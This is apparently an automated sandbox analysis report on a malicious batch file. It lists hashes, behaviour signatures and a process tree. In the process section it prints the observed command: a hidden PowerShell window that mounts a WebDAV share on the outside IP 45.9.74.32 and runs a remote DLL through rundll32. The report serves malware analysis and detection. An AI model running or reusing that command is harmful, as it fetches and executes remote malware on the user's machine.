Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    15/07/2024, 04:16

General

  • Target

    1684597686767615.bat

  • Size

    2KB

  • MD5

    0fc8de93b34aae87dd8d4b5de682fef2

  • SHA1

    ba952582c0adbc74e64176d75b3244e293583082

  • SHA256

    8bd70037131fd869c51aced546368f705200dc409588ded930bea7b12c177d0d

  • SHA512

    1986cd243e60b79597591a3f2911e750c63659ec915a3f0b1bdb8b7ee2675ddbcb5c6d37bac4fb7c0d16a22ec8f3f1df8ba9bd4ffef0cafcad8b16cd626a46df

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\1684597686767615.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2756
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2896
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\4588.dll,entry
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2884
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
        3⤵
          PID:2084
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\4588.dll entry
          3⤵
            PID:592

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2756-16-0x0000000002370000-0x0000000002470000-memory.dmp

        Filesize

        1024KB

      • memory/2884-23-0x000000001B7D0000-0x000000001BAB2000-memory.dmp

        Filesize

        2.9MB

      • memory/2884-24-0x0000000001E90000-0x0000000001E98000-memory.dmp

        Filesize

        32KB